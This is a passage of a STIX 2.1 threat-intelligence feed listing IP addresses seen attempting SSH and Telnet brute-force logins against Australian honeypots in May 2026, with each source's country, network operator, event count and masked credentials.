      "pattern": "[ipv4-addr:value = '173.254.207.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): a***n, r**t. Passwords observed (masked): 1**4, a***n, r**t.",
      "id": "indicator--7db6d889-ff4f-4a2d-b7c7-f53239018e98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53238. Organisation(s): Chapeco Tecnologia em Telecomunicacoes Ltda..",
      "id": "indicator--b6c7f5b0-3e44-417c-b782-585916a49ec5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.10.161.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52711. Organisation(s): FASTNET TELECOM.",
      "id": "indicator--ee7390f1-2d6f-48db-ba2e-4cdc3443a850",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.96.190.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--b4010d45-2382-4373-aebd-56acd7595b5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53142. Organisation(s): Friburgo Online LTDA ME.",
      "id": "indicator--116f39b1-e15d-466b-9ead-ce57bdf8c45f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.194.193.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--7cb5353c-4c8e-4636-9ead-baa4a9a0ee3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.140.75.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 30058. Organisation(s): FDCservers.net.",
      "id": "indicator--b7c3758d-246f-481a-8a21-533e1984567f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.237.108.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 239. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): u****u, a***n, l******r, m*******t, u**r. Passwords observed (masked): 1*******d, 1******r, 1******c, 3***********4, 3**********4.",
      "id": "indicator--d66e675c-907a-4cee-8c0b-abeb3655acd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.71.30.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265561. Organisation(s): LANTOINTERNET SA DE CV.",
      "id": "indicator--88fc7343-668f-41c7-8f4e-bf650288c731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.19.254.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--daa72ec1-cd8f-4fca-80be-4d9e4abf3bb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.42.126.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): u**r. Passwords observed (masked): 1**4.",
      "id": "indicator--28af8f2d-8b2a-43df-8514-83134d726c14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T07:15:11.000Z",
      "valid_until": "2026-06-11T07:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 55720. Organisation(s): Gigabit Hosting Sdn Bhd.",
      "id": "indicator--dc0be98f-2805-4797-981d-7fb6cf3e2caf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.211.234.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): u****u, a***n, r**t, t**t, 3**********4. Passwords observed (masked): P*********3, !**************v, 1**1, 2**x, 3***********4.",
      "id": "indicator--a2afb1de-f5c0-4f76-b29b-fde58b71d10d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.203.251.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--668be058-20d7-49f2-9586-e995640dc2a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.113.232.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--7197e3c9-6d86-4557-97dc-209046f63de0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.93.2.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): u****u, a***n, f*****r, r**t, s*****r. Passwords observed (masked): 1***5, ***, 1****3, 1***0, 1****6.",
      "id": "indicator--0737902e-3127-41c6-bb9b-c02e1ac1be3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.227.232.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 452. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t, h****p, u**p, u**r, u***1. Passwords observed (masked): 1****6, ***, p******d, !******X, 0**0.",
      "id": "indicator--0d0ab901-85b2-4993-ada6-28ff11621ab2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.104.50.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 249. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 210022. Organisation(s): Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.. Usernames observed (masked): u****u, a***n, r**t, e******r, k***a. Passwords observed (masked): 1****6, ***, 1*******#, 1******8, 1******2.",
      "id": "indicator--bc8d9073-6156-460b-bd9b-2b243a782285",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.158.22.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--a027d431-d4c6-4e83-8177-115af7b51c38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.18.115.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 132153. Organisation(s): No.3,Shu-Ma Road. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--5aedaa64-dd9b-4f63-8153-4844aa31469a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.15.246.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******6, H**********************3.",
      "id": "indicator--48f55c1f-4455-498c-a245-3be717433ba1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.83.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5e95e4a8-407b-4b15-b44e-0ae19016ca46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.238.168.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T08:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA.",
      "id": "indicator--218a74b8-68bd-422e-bfb2-aa14d4320707",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T08:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.206.243.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T08:15:12.000Z",
      "valid_until": "2026-06-11T08:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137127. Organisation(s): Navkar Supertech Pvt Ltd.",
      "id": "indicator--bab43b96-edf9-4dd0-915b-1b75d7fa7534",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.148.62.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--42fae7b3-3c29-47fe-a23a-6ce808218cb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.77.206.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--8672dfd1-460e-4783-8f08-5c45b56beed2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.60.172.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 244. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc.. Usernames observed (masked): r**t, 3**********4, a***********r, f*****r, s****r. Passwords observed (masked): 1******a, 1*******R, 1**********d, 1******2, 1*******z.",
      "id": "indicator--16b33905-87b2-4418-994b-958fd450c8a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.49.89.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): s**p, 3**********4, r**t, s***m, u****u. Passwords observed (masked): 3***********4, 3**********4, D*********2, c**o, q***t.",
      "id": "indicator--65df5440-9582-40f4-a9ab-594148936c8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.7.9.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1583c68d-a25d-47eb-8a03-39b7e69b70c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******3, H**********************3.",
      "id": "indicator--19d15055-cce8-4002-8a58-bd60dccd7195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.79.44.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--a2b9b1ff-b3a7-4bc9-a1f9-82f4f2a47b35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.229.135.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom.",
      "id": "indicator--bcb320f5-6eb2-4ee9-a1f2-a1aca576a435",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.139.157.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TZ. ASN(s): 37182. Organisation(s): TERNET. Usernames observed (masked): a***n. Passwords observed (masked): 1****c.",
      "id": "indicator--af7acd68-8a23-4181-aec5-e0bff9a20911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.93.28.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--49c883b7-7be3-463e-a8ea-872e1d6f3153",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
